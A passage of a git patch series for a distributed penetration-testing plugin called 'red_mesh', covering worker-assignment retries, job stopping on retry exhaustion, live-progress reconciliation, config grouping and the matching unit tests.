{ + "job-2:worker-C": { + "job_id": "job-2", + "worker_addr": "worker-C", + "pass_nr": 1, + "assignment_revision_seen": 1, + "progress": 10.0, + "phase": "service_probes", + "ports_scanned": 10, + "ports_total": 100, + "open_ports_found": [], + "completed_tests": [], + "updated_at": 60.0, + "started_at": 20.0, + "first_seen_live_at": 20.0, + "last_seen_at": 60.0, + }, + } + + def _hgetall(*, hkey): + if hkey == "test-instance": + return {"job-2": dict(job_specs)} + if hkey == "test-instance:live": + return dict(live_payloads) + return {} + + plugin.chainstore_hgetall.side_effect = _hgetall + plugin.chainstore_hget.return_value = dict(job_specs) + + Plugin._maybe_reannounce_worker_assignments(plugin) + + persisted = plugin.chainstore_hset.call_args.kwargs["value"] + self.assertEqual(persisted["workers"]["worker-C"]["assignment_revision"], 2) + self.assertEqual(persisted["workers"]["worker-C"]["retry_reason"], "stale_live") + def test_clear_live_progress(self): """_clear_live_progress deletes progress keys for all workers.""" Plugin = self._get_plugin_class() From e4af04ac807eda0fdc5694f0920d1f9c85fecbdc Mon Sep 17 00:00:00 2001 From: toderian Date: Mon, 16 Mar 2026 11:07:19 +0000 Subject: [PATCH 099/114] feat(redmesh): stop jobs on retry exhaustion --- .../cybersec/red_mesh/pentester_api_01.py | 49 +++++++++++++-- .../red_mesh/tests/test_integration.py | 60 +++++++++++++++++++ 2 files changed, 105 insertions(+), 4 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index bc4a8d3c..de1097a2 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -960,6 +960,7 @@ def _maybe_reannounce_worker_assignments(self): stale_grace = float(self.cfg_distributed_stale_grace) max_retries = int(self.cfg_distributed_max_reannounce_attempts) job_changed = False + stop_job = False for worker_addr, worker_state in reconciled_workers.items(): if worker_state.get("finished"): @@ -970,9 +971,6 @@ def _maybe_reannounce_worker_assignments(self): continue reannounce_count = int(worker_state.get("reannounce_count", 0) or 0) - if reannounce_count >= max_retries: - continue - assigned_at = worker_state.get("assigned_at") or job_specs.get("date_created") or now last_reannounce_at = worker_state.get("last_reannounce_at") elapsed_since_trigger = now - float(last_reannounce_at or assigned_at) @@ -992,6 +990,48 @@ def _maybe_reannounce_worker_assignments(self): if not isinstance(target_worker, dict): continue + if reannounce_count >= max_retries: + target_worker["terminal_reason"] = "unreachable" + target_worker["error"] = ( + f"Worker {worker_addr} did not acknowledge assignment after " + f"{reannounce_count} re-announcements ({retry_reason})" + ) + target_worker["unreachable_at"] = now + target_worker["retry_reason"] = retry_reason + set_job_status(job_specs, JOB_STATUS_STOPPED) + PentesterApi01Plugin._emit_timeline_event( + self, + job_specs, + "worker_unreachable", + f"Worker {worker_addr} unreachable after retries", + meta={ + "worker_addr": worker_addr, + "retry_reason": retry_reason, + "reannounce_count": reannounce_count, + }, + ) + PentesterApi01Plugin._emit_timeline_event( + self, + job_specs, + "stopped", + f"Job stopped: assigned worker {worker_addr} unreachable", + ) + self.P( + "[CSTORE] Stopping job due to unreachable worker " + f"job_id={normalized_key} worker={worker_addr} " + f"reason={retry_reason} retries={reannounce_count}", + color='r', + ) + self._log_audit_event("worker_assignment_exhausted", { + "job_id": normalized_key, + "worker_addr": worker_addr, + "retry_reason": retry_reason, + "reannounce_count": reannounce_count, + }) + job_changed = True + stop_job = True + break + current_revision = PentesterApi01Plugin._get_worker_assignment_revision(target_worker) target_worker["assignment_revision"] = current_revision + 1 target_worker["reannounce_count"] = reannounce_count + 1 @@ -1017,7 +1057,8 @@ def _maybe_reannounce_worker_assignments(self): }) if job_changed: - PentesterApi01Plugin._write_job_record(self, normalized_key, job_specs, context="worker_reannounce") + context = "worker_unreachable_stop" if stop_job else "worker_reannounce" + PentesterApi01Plugin._write_job_record(self, normalized_key, job_specs, context=context) def _get_job_revision(self, job_specs): """Return a normalized revision for mutable CStore job records.""" diff --git a/extensions/business/cybersec/red_mesh/tests/test_integration.py b/extensions/business/cybersec/red_mesh/tests/test_integration.py index 7800dd13..04086f1f 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_integration.py +++ b/extensions/business/cybersec/red_mesh/tests/test_integration.py @@ -698,6 +698,66 @@ def _hgetall(*, hkey): self.assertEqual(persisted["workers"]["worker-C"]["assignment_revision"], 2) self.assertEqual(persisted["workers"]["worker-C"]["retry_reason"], "stale_live") + def test_maybe_reannounce_worker_assignments_stops_job_after_retry_exhaustion(self): + """Launcher stops the job explicitly once a worker exhausts re-announcement budget.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + plugin.ee_addr = "node-launcher" + plugin.cfg_check_jobs_each = 15 + plugin.cfg_distributed_startup_timeout = 30 + plugin.cfg_distributed_stale_grace = 20 + plugin.cfg_distributed_max_reannounce_attempts = 3 + plugin._last_worker_reconcile_check = 0 + plugin._normalize_job_record.side_effect = lambda job_id, payload, migrate=True: (job_id, payload) + plugin.P = MagicMock() + plugin._log_audit_event = MagicMock() + plugin.time.side_effect = [100.0, 100.0, 100.0] + + job_specs = { + "job_id": "job-3", + "job_status": "RUNNING", + "job_pass": 1, + "run_mode": "SINGLEPASS", + "launcher": "node-launcher", + "launcher_alias": "rm1", + "target": "10.0.0.3", + "start_port": 1, + "end_port": 100, + "date_created": 10.0, + "job_config_cid": "QmConfig", + "workers": { + "worker-C": { + "start_port": 1, + "end_port": 100, + "assignment_revision": 4, + "assigned_at": 10.0, + "reannounce_count": 3, + }, + }, + "timeline": [], + "pass_reports": [], + "job_revision": 0, + } + + def _hgetall(*, hkey): + if hkey == "test-instance": + return {"job-3": dict(job_specs)} + if hkey == "test-instance:live": + return {} + return {} + + plugin.chainstore_hgetall.side_effect = _hgetall + plugin.chainstore_hget.return_value = dict(job_specs) + + Plugin._maybe_reannounce_worker_assignments(plugin) + + persisted = plugin.chainstore_hset.call_args.kwargs["value"] + self.assertEqual(persisted["job_status"], "STOPPED") + self.assertEqual(persisted["workers"]["worker-C"]["terminal_reason"], "unreachable") + self.assertEqual(persisted["workers"]["worker-C"]["retry_reason"], "startup_timeout") + self.assertIn("worker-C", persisted["workers"]["worker-C"]["error"]) + def test_clear_live_progress(self): """_clear_live_progress deletes progress keys for all workers.""" Plugin = self._get_plugin_class() From de5daf9aae24380a71297df2aea54f1aa481c0f9 Mon Sep 17 00:00:00 2001 From: toderian Date: Mon, 16 Mar 2026 11:11:04 +0000 Subject: [PATCH 100/114] fix(redmesh): align distributed job read paths --- .../cybersec/red_mesh/pentester_api_01.py | 16 +++- .../cybersec/red_mesh/services/query.py | 15 ++++ .../cybersec/red_mesh/tests/test_api.py | 82 +++++++++++++++++++ 3 files changed, 110 insertions(+), 3 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index de1097a2..dd794cd8 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -1581,8 +1581,16 @@ def _get_job_status(self, job_id : str): local_workers = self.scan_jobs.get(job_id) jobs_network_state = self._get_job_from_cstore(job_id) result = {} + reconciled_workers = {} + distributed_incomplete = False + if isinstance(jobs_network_state, dict) and isinstance(jobs_network_state.get("workers"), dict): + reconciled_workers = reconcile_job_workers(self, jobs_network_state) + distributed_incomplete = any( + worker.get("worker_state") not in {"finished", "failed", "unreachable"} + for worker in reconciled_workers.values() + ) # first check if in completed jobs - if job_id in self.lst_completed_jobs: + if job_id in self.lst_completed_jobs and not distributed_incomplete: # dont check in the reports that might contain only from some local workers local_workers_reports = self.completed_jobs_reports[job_id] some_worker = list(local_workers_reports.keys())[0] @@ -1591,7 +1599,8 @@ def _get_job_status(self, job_id : str): "job_id": job_id, "target": target, "status": "completed", - "report": self.completed_jobs_reports[job_id] + "report": self.completed_jobs_reports[job_id], + "workers": reconciled_workers or None, } elif local_workers: @@ -1606,7 +1615,8 @@ def _get_job_status(self, job_id : str): "job_id": job_id, "target": jobs_network_state.get("target"), "status": "network_tracked", - "job": jobs_network_state + "job": jobs_network_state, + "workers": reconciled_workers or None, } # Job not found else: diff --git a/extensions/business/cybersec/red_mesh/services/query.py b/extensions/business/cybersec/red_mesh/services/query.py index 3af33c10..6a814095 100644 --- a/extensions/business/cybersec/red_mesh/services/query.py +++ b/extensions/business/cybersec/red_mesh/services/query.py @@ -86,6 +86,21 @@ def get_job_data(owner, job_id: str): if isinstance(pass_reports, list) and len(pass_reports) > 5: job_specs["pass_reports"] = pass_reports[-5:] + if isinstance(job_specs.get("workers"), dict): + now = None + time_fn = getattr(owner, "time", None) + if callable(time_fn): + try: + now = float(time_fn()) + except (TypeError, ValueError): + now = None + job_specs["workers_reconciled"] = reconcile_job_workers( + owner, + job_specs, + live_payloads=_job_repo(owner).list_live_progress() or {}, + now=now, + ) + return { "job_id": job_id, "found": True, diff --git a/extensions/business/cybersec/red_mesh/tests/test_api.py b/extensions/business/cybersec/red_mesh/tests/test_api.py index 449801ef..c0f76629 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_api.py +++ b/extensions/business/cybersec/red_mesh/tests/test_api.py @@ -2346,6 +2346,88 @@ def test_get_job_progress_returns_job_status(self): self.assertIn("worker-A", result["workers"]) self.assertEqual(result["workers"]["worker-A"]["worker_state"], "active") + def test_get_job_status_does_not_report_completed_when_distributed_job_is_incomplete(self): + """Local completion must not hide an unfinished assigned peer.""" + Plugin = self._get_plugin_class() + plugin = self._build_plugin({}) + plugin.lst_completed_jobs = ["job-1"] + plugin.completed_jobs_reports = { + "job-1": { + "local-1": {"target": "example.com", "ports_scanned": 10}, + }, + } + plugin.scan_jobs = {} + plugin._get_job_status = lambda job_id: Plugin._get_job_status(plugin, job_id) + plugin.time.return_value = 100.0 + plugin.chainstore_hget.return_value = { + "job_id": "job-1", + "job_status": "RUNNING", + "job_pass": 1, + "target": "example.com", + "workers": { + "worker-A": {"start_port": 1, "end_port": 10, "finished": True, "assignment_revision": 1}, + "worker-B": {"start_port": 11, "end_port": 20, "finished": False, "assignment_revision": 1}, + }, + } + plugin.chainstore_hgetall.side_effect = lambda hkey: ( + { + "job-1:worker-A": { + "job_id": "job-1", + "worker_addr": "worker-A", + "pass_nr": 1, + "assignment_revision_seen": 1, + "progress": 100.0, + "phase": "done", + "ports_scanned": 10, + "ports_total": 10, + "open_ports_found": [], + "completed_tests": [], + "updated_at": 100.0, + "started_at": 90.0, + "first_seen_live_at": 90.0, + "last_seen_at": 100.0, + "finished": True, + }, + } if hkey == "test-instance:live" else {"job-1": plugin.chainstore_hget.return_value} + ) + + result = Plugin.get_job_status(plugin, job_id="job-1") + + self.assertEqual(result["status"], "network_tracked") + self.assertEqual(result["workers"]["worker-B"]["worker_state"], "unseen") + + def test_get_job_data_includes_reconciled_workers(self): + """get_job_data includes reconciled worker state for active jobs.""" + Plugin = self._get_plugin_class() + running = self._build_running_job("run-job", pass_count=2) + plugin = self._build_plugin({"run-job": running}) + plugin.time.return_value = 100.0 + plugin.chainstore_hgetall.side_effect = lambda hkey: ( + { + "run-job:worker-A": { + "job_id": "run-job", + "worker_addr": "worker-A", + "pass_nr": running["job_pass"], + "assignment_revision_seen": 1, + "progress": 50, + "phase": "service_probes", + "ports_scanned": 50, + "ports_total": 100, + "open_ports_found": [], + "completed_tests": [], + "updated_at": 100.0, + "started_at": 90.0, + "first_seen_live_at": 90.0, + "last_seen_at": 100.0, + }, + } if hkey == "test-instance:live" else {"run-job": running} + ) + + result = Plugin.get_job_data(plugin, job_id="run-job") + + self.assertIn("workers_reconciled", result["job"]) + self.assertEqual(result["job"]["workers_reconciled"]["worker-A"]["worker_state"], "active") + def test_get_job_archive_not_found(self): """get_job_archive for non-existent job returns not_found.""" Plugin = self._get_plugin_class() From 634a94fdfdcf6c7d693685e6f441b0a83b03b56e Mon Sep 17 00:00:00 2001 From: toderian Date: Mon, 16 Mar 2026 11:12:20 +0000 Subject: [PATCH 101/114] fix(redmesh): ignore stale and malformed live rows --- .../red_mesh/services/reconciliation.py | 10 ++- .../red_mesh/tests/test_integration.py | 66 +++++++++++++++++++ 2 files changed, 75 insertions(+), 1 deletion(-) diff --git a/extensions/business/cybersec/red_mesh/services/reconciliation.py b/extensions/business/cybersec/red_mesh/services/reconciliation.py index abbf262d..73d361cd 100644 --- a/extensions/business/cybersec/red_mesh/services/reconciliation.py +++ b/extensions/business/cybersec/red_mesh/services/reconciliation.py @@ -32,7 +32,10 @@ def _matched_live_progress(job_id, worker_addr, pass_nr, assignment_revision, li payload = (live_payloads or {}).get(key) if not isinstance(payload, dict): return None, None - live = WorkerProgress.from_dict(payload) + try: + live = WorkerProgress.from_dict(payload) + except (KeyError, TypeError, ValueError): + return None, "malformed_live" if live.job_id != job_id: return None, "job_mismatch" if live.pass_nr != pass_nr: @@ -103,6 +106,11 @@ def reconcile_job_workers(owner, job_specs, *, live_payloads=None, now=None): payload.update(live.to_dict()) elif ignored_reason: payload["ignored_live_reason"] = ignored_reason + if ignored_reason == "malformed_live" and hasattr(owner, "P"): + owner.P( + f"[LIVE] Ignoring malformed live payload for job_id={job_id} worker={worker_addr}", + color='y', + ) reconciled[worker_addr] = payload return reconciled diff --git a/extensions/business/cybersec/red_mesh/tests/test_integration.py b/extensions/business/cybersec/red_mesh/tests/test_integration.py index 04086f1f..769b102f 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_integration.py +++ b/extensions/business/cybersec/red_mesh/tests/test_integration.py @@ -203,6 +203,72 @@ def test_get_job_progress_ignores_live_from_old_revision(self): self.assertEqual(result["workers"]["worker-1"]["worker_state"], "unseen") self.assertEqual(result["workers"]["worker-1"]["ignored_live_reason"], "revision_mismatch") + def test_get_job_progress_ignores_live_from_old_pass(self): + """Mismatched live pass is ignored for the current assignment.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + plugin.chainstore_hgetall.return_value = { + "job-A:worker-1": { + "job_id": "job-A", + "worker_addr": "worker-1", + "pass_nr": 1, + "assignment_revision_seen": 2, + "progress": 60, + "phase": "service_probes", + "ports_scanned": 60, + "ports_total": 100, + "open_ports_found": [], + "completed_tests": [], + "updated_at": 100.0, + "started_at": 90.0, + "first_seen_live_at": 90.0, + "last_seen_at": 100.0, + }, + } + plugin.chainstore_hget.return_value = { + "job_id": "job-A", + "job_status": "RUNNING", + "job_pass": 2, + "workers": { + "worker-1": {"start_port": 1, "end_port": 10, "assignment_revision": 2}, + }, + } + plugin.time.return_value = 100.0 + + result = Plugin.get_job_progress(plugin, job_id="job-A") + + self.assertEqual(result["workers"]["worker-1"]["worker_state"], "unseen") + self.assertEqual(result["workers"]["worker-1"]["ignored_live_reason"], "pass_mismatch") + + def test_get_job_progress_ignores_malformed_live_payload(self): + """Malformed live rows are ignored instead of crashing reconciliation.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + plugin.chainstore_hgetall.return_value = { + "job-A:worker-1": { + "job_id": "job-A", + "pass_nr": 2, + }, + } + plugin.chainstore_hget.return_value = { + "job_id": "job-A", + "job_status": "RUNNING", + "job_pass": 2, + "workers": { + "worker-1": {"start_port": 1, "end_port": 10, "assignment_revision": 1}, + }, + } + plugin.time.return_value = 100.0 + plugin.P = MagicMock() + + result = Plugin.get_job_progress(plugin, job_id="job-A") + + self.assertEqual(result["workers"]["worker-1"]["worker_state"], "unseen") + self.assertEqual(result["workers"]["worker-1"]["ignored_live_reason"], "malformed_live") + plugin.P.assert_called() + def test_publish_live_progress(self): """_publish_live_progress writes stage-based progress to CStore :live hset.""" Plugin = self._get_plugin_class() From 0c3336b299e362e1c4ee1d391b0612834d9c37c7 Mon Sep 17 00:00:00 2001 From: toderian Date: Mon, 16 Mar 2026 11:13:29 +0000 Subject: [PATCH 102/114] test(redmesh): cover worker reconciliation states --- .../red_mesh/tests/test_reconciliation.py | 129 ++++++++++++++++++ 1 file changed, 129 insertions(+) create mode 100644 extensions/business/cybersec/red_mesh/tests/test_reconciliation.py diff --git a/extensions/business/cybersec/red_mesh/tests/test_reconciliation.py b/extensions/business/cybersec/red_mesh/tests/test_reconciliation.py new file mode 100644 index 00000000..2cf8089b --- /dev/null +++ b/extensions/business/cybersec/red_mesh/tests/test_reconciliation.py @@ -0,0 +1,129 @@ +import unittest +from unittest.mock import MagicMock + +from extensions.business.cybersec.red_mesh.services.reconciliation import reconcile_job_workers + + +class TestWorkerReconciliation(unittest.TestCase): + + def _make_owner(self, now=100.0, stale_timeout=30): + owner = MagicMock() + owner.time.return_value = now + owner.cfg_distributed_stale_timeout = stale_timeout + return owner + + def test_reconcile_job_workers_marks_active_worker(self): + owner = self._make_owner() + job_specs = { + "job_id": "job-1", + "job_pass": 2, + "workers": { + "worker-A": {"start_port": 1, "end_port": 10, "assignment_revision": 3}, + }, + } + live_payloads = { + "job-1:worker-A": { + "job_id": "job-1", + "worker_addr": "worker-A", + "pass_nr": 2, + "assignment_revision_seen": 3, + "progress": 40.0, + "phase": "service_probes", + "ports_scanned": 4, + "ports_total": 10, + "open_ports_found": [], + "completed_tests": [], + "updated_at": 100.0, + "started_at": 90.0, + "first_seen_live_at": 90.0, + "last_seen_at": 100.0, + }, + } + + reconciled = reconcile_job_workers(owner, job_specs, live_payloads=live_payloads, now=100.0) + + self.assertEqual(reconciled["worker-A"]["worker_state"], "active") + + def test_reconcile_job_workers_marks_stale_worker(self): + owner = self._make_owner(now=100.0, stale_timeout=10) + job_specs = { + "job_id": "job-1", + "job_pass": 2, + "workers": { + "worker-A": {"start_port": 1, "end_port": 10, "assignment_revision": 3}, + }, + } + live_payloads = { + "job-1:worker-A": { + "job_id": "job-1", + "worker_addr": "worker-A", + "pass_nr": 2, + "assignment_revision_seen": 3, + "progress": 40.0, + "phase": "service_probes", + "ports_scanned": 4, + "ports_total": 10, + "open_ports_found": [], + "completed_tests": [], + "updated_at": 80.0, + "started_at": 70.0, + "first_seen_live_at": 70.0, + "last_seen_at": 80.0, + }, + } + + reconciled = reconcile_job_workers(owner, job_specs, live_payloads=live_payloads, now=100.0) + + self.assertEqual(reconciled["worker-A"]["worker_state"], "stale") + + def test_reconcile_job_workers_marks_unreachable_worker(self): + owner = self._make_owner() + job_specs = { + "job_id": "job-1", + "job_pass": 2, + "workers": { + "worker-A": { + "start_port": 1, + "end_port": 10, + "assignment_revision": 3, + "terminal_reason": "unreachable", + }, + }, + } + + reconciled = reconcile_job_workers(owner, job_specs, live_payloads={}, now=100.0) + + self.assertEqual(reconciled["worker-A"]["worker_state"], "unreachable") + + def test_reconcile_job_workers_marks_unseen_when_live_revision_mismatch(self): + owner = self._make_owner() + job_specs = { + "job_id": "job-1", + "job_pass": 2, + "workers": { + "worker-A": {"start_port": 1, "end_port": 10, "assignment_revision": 3}, + }, + } + live_payloads = { + "job-1:worker-A": { + "job_id": "job-1", + "worker_addr": "worker-A", + "pass_nr": 2, + "assignment_revision_seen": 2, + "progress": 40.0, + "phase": "service_probes", + "ports_scanned": 4, + "ports_total": 10, + "open_ports_found": [], + "completed_tests": [], + "updated_at": 100.0, + "started_at": 90.0, + "first_seen_live_at": 90.0, + "last_seen_at": 100.0, + }, + } + + reconciled = reconcile_job_workers(owner, job_specs, live_payloads=live_payloads, now=100.0) + + self.assertEqual(reconciled["worker-A"]["worker_state"], "unseen") + self.assertEqual(reconciled["worker-A"]["ignored_live_reason"], "revision_mismatch") From 93fd4ceacbf209bff2c580c3798eb15612225be2 Mon Sep 17 00:00:00 2001 From: toderian Date: Mon, 16 Mar 2026 11:14:20 +0000 Subject: [PATCH 103/114] feat(redmesh): add worker retry timeline events --- .../business/cybersec/red_mesh/pentester_api_01.py | 14 ++++++++++++++ .../cybersec/red_mesh/tests/test_integration.py | 2 ++ 2 files changed, 16 insertions(+) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index dd794cd8..978824cf 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -1040,6 +1040,20 @@ def _maybe_reannounce_worker_assignments(self): target_worker.setdefault("assigned_at", assigned_at) job_changed = True + PentesterApi01Plugin._emit_timeline_event( + self, + job_specs, + "worker_reannounced", + f"Worker {worker_addr} assignment re-announced", + meta={ + "worker_addr": worker_addr, + "retry_reason": retry_reason, + "old_revision": current_revision, + "new_revision": target_worker["assignment_revision"], + "reannounce_count": target_worker["reannounce_count"], + }, + ) + self.P( "[CSTORE] Re-announcing worker assignment " f"job_id={normalized_key} worker={worker_addr} " diff --git a/extensions/business/cybersec/red_mesh/tests/test_integration.py b/extensions/business/cybersec/red_mesh/tests/test_integration.py index 769b102f..d1ebcac9 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_integration.py +++ b/extensions/business/cybersec/red_mesh/tests/test_integration.py @@ -688,6 +688,7 @@ def _hgetall(*, hkey): self.assertEqual(persisted["workers"]["worker-C"]["assignment_revision"], 2) self.assertEqual(persisted["workers"]["worker-C"]["reannounce_count"], 1) self.assertEqual(persisted["workers"]["worker-C"]["retry_reason"], "startup_timeout") + self.assertEqual(persisted["timeline"][-1]["type"], "worker_reannounced") def test_maybe_reannounce_worker_assignments_retries_stale_worker(self): """Launcher retries a matched worker whose live state is stale past grace.""" @@ -763,6 +764,7 @@ def _hgetall(*, hkey): persisted = plugin.chainstore_hset.call_args.kwargs["value"] self.assertEqual(persisted["workers"]["worker-C"]["assignment_revision"], 2) self.assertEqual(persisted["workers"]["worker-C"]["retry_reason"], "stale_live") + self.assertEqual(persisted["timeline"][-1]["type"], "worker_reannounced") def test_maybe_reannounce_worker_assignments_stops_job_after_retry_exhaustion(self): """Launcher stops the job explicitly once a worker exhausts re-announcement budget.""" From e02ff23f2c0d0187d739c9da80a6acb260db696f Mon Sep 17 00:00:00 2001 From: toderian Date: Mon, 16 Mar 2026 11:50:41 +0000 Subject: [PATCH 104/114] refactor(redmesh): group reconciliation config --- .../cybersec/red_mesh/pentester_api_01.py | 18 +++--- .../cybersec/red_mesh/services/__init__.py | 6 +- .../red_mesh/services/reconciliation.py | 60 ++++++++++++++++--- .../red_mesh/tests/test_integration.py | 25 +++++--- .../red_mesh/tests/test_reconciliation.py | 46 +++++++++++++- 5 files changed, 127 insertions(+), 28 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 978824cf..050b07ff 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -94,6 +94,7 @@ normalize_common_launch_options, parse_exceptions, purge_job, + get_distributed_job_reconciliation_config, reconcile_job_workers, resolve_job_config_secrets, resolve_active_peers, @@ -152,10 +153,12 @@ "MONITOR_INTERVAL": 60, # seconds between passes in continuous mode "MONITOR_JITTER": 5, # random jitter to avoid simultaneous CStore writes "PROGRESS_PUBLISH_INTERVAL": 30, # seconds between live progress writes to CStore - "DISTRIBUTED_STARTUP_TIMEOUT": 45, # seconds to wait for worker-owned :live startup signal - "DISTRIBUTED_STALE_TIMEOUT": 120, # seconds before launcher treats worker :live as stale - "DISTRIBUTED_STALE_GRACE": 30, # extra grace before retrying a stale worker assignment - "DISTRIBUTED_MAX_REANNOUNCE_ATTEMPTS": 3, # bounded per-worker retries before terminal failure + "DISTRIBUTED_JOB_RECONCILIATION": { + "STARTUP_TIMEOUT": 45, # seconds to wait for worker-owned :live startup signal + "STALE_TIMEOUT": 120, # seconds before launcher treats worker :live as stale + "STALE_GRACE": 30, # extra grace before retrying a stale worker assignment + "MAX_REANNOUNCE_ATTEMPTS": 3, # bounded per-worker retries before terminal failure + }, "ARCHIVE_VERIFY_RETRIES": 3, "LLM_API_RETRIES": 2, "ATTESTATION_RETRIES": 2, @@ -956,9 +959,10 @@ def _maybe_reannounce_worker_assignments(self): if not reconciled_workers: continue - startup_timeout = float(self.cfg_distributed_startup_timeout) - stale_grace = float(self.cfg_distributed_stale_grace) - max_retries = int(self.cfg_distributed_max_reannounce_attempts) + distributed_cfg = get_distributed_job_reconciliation_config(self) + startup_timeout = distributed_cfg["STARTUP_TIMEOUT"] + stale_grace = distributed_cfg["STALE_GRACE"] + max_retries = distributed_cfg["MAX_REANNOUNCE_ATTEMPTS"] job_changed = False stop_job = False diff --git a/extensions/business/cybersec/red_mesh/services/__init__.py b/extensions/business/cybersec/red_mesh/services/__init__.py index 58453139..8f014cdc 100644 --- a/extensions/business/cybersec/red_mesh/services/__init__.py +++ b/extensions/business/cybersec/red_mesh/services/__init__.py @@ -26,7 +26,10 @@ list_local_jobs, list_network_jobs, ) -from .reconciliation import reconcile_job_workers +from .reconciliation import ( + get_distributed_job_reconciliation_config, + reconcile_job_workers, +) from .secrets import ( R1fsSecretStore, collect_secret_refs_from_job_config, @@ -86,6 +89,7 @@ "collect_secret_refs_from_job_config", "resolve_active_peers", "resolve_enabled_features", + "get_distributed_job_reconciliation_config", "reconcile_job_workers", "set_job_status", "stop_and_delete_job", diff --git a/extensions/business/cybersec/red_mesh/services/reconciliation.py b/extensions/business/cybersec/red_mesh/services/reconciliation.py index 73d361cd..0ced44c6 100644 --- a/extensions/business/cybersec/red_mesh/services/reconciliation.py +++ b/extensions/business/cybersec/red_mesh/services/reconciliation.py @@ -1,5 +1,12 @@ from ..models import WorkerProgress +DEFAULT_DISTRIBUTED_JOB_RECONCILIATION_CONFIG = { + "STARTUP_TIMEOUT": 45.0, + "STALE_TIMEOUT": 120.0, + "STALE_GRACE": 30.0, + "MAX_REANNOUNCE_ATTEMPTS": 3, +} + def _safe_int(value, default): try: @@ -15,16 +22,51 @@ def _safe_float(value, default=None): return default -def _distributed_stale_timeout(owner): - timeout = getattr(owner, "cfg_distributed_stale_timeout", None) - if timeout is None: +def get_distributed_job_reconciliation_config(owner): + """Return normalized distributed-job reconciliation config.""" + merged = dict(DEFAULT_DISTRIBUTED_JOB_RECONCILIATION_CONFIG) + override = getattr(owner, "cfg_distributed_job_reconciliation", None) + if override is None: config = getattr(owner, "CONFIG", None) if isinstance(config, dict): - timeout = config.get("DISTRIBUTED_STALE_TIMEOUT") - timeout = _safe_float(timeout, 120.0) - if timeout is None or timeout <= 0: - return 120.0 - return timeout + override = config.get("DISTRIBUTED_JOB_RECONCILIATION") + if isinstance(override, dict): + merged.update(override) + + startup_timeout = _safe_float( + merged.get("STARTUP_TIMEOUT"), + DEFAULT_DISTRIBUTED_JOB_RECONCILIATION_CONFIG["STARTUP_TIMEOUT"], + ) + if startup_timeout is None or startup_timeout <= 0: + startup_timeout = DEFAULT_DISTRIBUTED_JOB_RECONCILIATION_CONFIG["STARTUP_TIMEOUT"] + + stale_timeout = _safe_float( + merged.get("STALE_TIMEOUT"), + DEFAULT_DISTRIBUTED_JOB_RECONCILIATION_CONFIG["STALE_TIMEOUT"], + ) + if stale_timeout is None or stale_timeout <= 0: + stale_timeout = DEFAULT_DISTRIBUTED_JOB_RECONCILIATION_CONFIG["STALE_TIMEOUT"] + + stale_grace = _safe_float( + merged.get("STALE_GRACE"), + DEFAULT_DISTRIBUTED_JOB_RECONCILIATION_CONFIG["STALE_GRACE"], + ) + if stale_grace is None or stale_grace < 0: + stale_grace = DEFAULT_DISTRIBUTED_JOB_RECONCILIATION_CONFIG["STALE_GRACE"] + + max_reannounce_attempts = _safe_int( + merged.get("MAX_REANNOUNCE_ATTEMPTS"), + DEFAULT_DISTRIBUTED_JOB_RECONCILIATION_CONFIG["MAX_REANNOUNCE_ATTEMPTS"], + ) + if max_reannounce_attempts < 0: + max_reannounce_attempts = DEFAULT_DISTRIBUTED_JOB_RECONCILIATION_CONFIG["MAX_REANNOUNCE_ATTEMPTS"] + + return { + "STARTUP_TIMEOUT": startup_timeout, + "STALE_TIMEOUT": stale_timeout, + "STALE_GRACE": stale_grace, + "MAX_REANNOUNCE_ATTEMPTS": max_reannounce_attempts, + } def _matched_live_progress(job_id, worker_addr, pass_nr, assignment_revision, live_payloads): @@ -61,7 +103,7 @@ def reconcile_job_workers(owner, job_specs, *, live_payloads=None, now=None): pass_nr = _safe_int(job_specs.get("job_pass", 1), 1) workers = job_specs.get("workers") or {} live_payloads = live_payloads or {} - stale_timeout = _distributed_stale_timeout(owner) + stale_timeout = get_distributed_job_reconciliation_config(owner)["STALE_TIMEOUT"] if now is None: time_fn = getattr(owner, "time", None) if callable(time_fn): diff --git a/extensions/business/cybersec/red_mesh/tests/test_integration.py b/extensions/business/cybersec/red_mesh/tests/test_integration.py index d1ebcac9..3df34bc3 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_integration.py +++ b/extensions/business/cybersec/red_mesh/tests/test_integration.py @@ -613,9 +613,11 @@ def test_maybe_reannounce_worker_assignments_retries_unseen_worker_only(self): plugin.cfg_instance_id = "test-instance" plugin.ee_addr = "node-launcher" plugin.cfg_check_jobs_each = 15 - plugin.cfg_distributed_startup_timeout = 30 - plugin.cfg_distributed_stale_grace = 20 - plugin.cfg_distributed_max_reannounce_attempts = 3 + plugin.cfg_distributed_job_reconciliation = { + "STARTUP_TIMEOUT": 30, + "STALE_GRACE": 20, + "MAX_REANNOUNCE_ATTEMPTS": 3, + } plugin._last_worker_reconcile_check = 0 plugin._normalize_job_record.side_effect = lambda job_id, payload, migrate=True: (job_id, payload) plugin.P = MagicMock() @@ -697,9 +699,12 @@ def test_maybe_reannounce_worker_assignments_retries_stale_worker(self): plugin.cfg_instance_id = "test-instance" plugin.ee_addr = "node-launcher" plugin.cfg_check_jobs_each = 15 - plugin.cfg_distributed_startup_timeout = 30 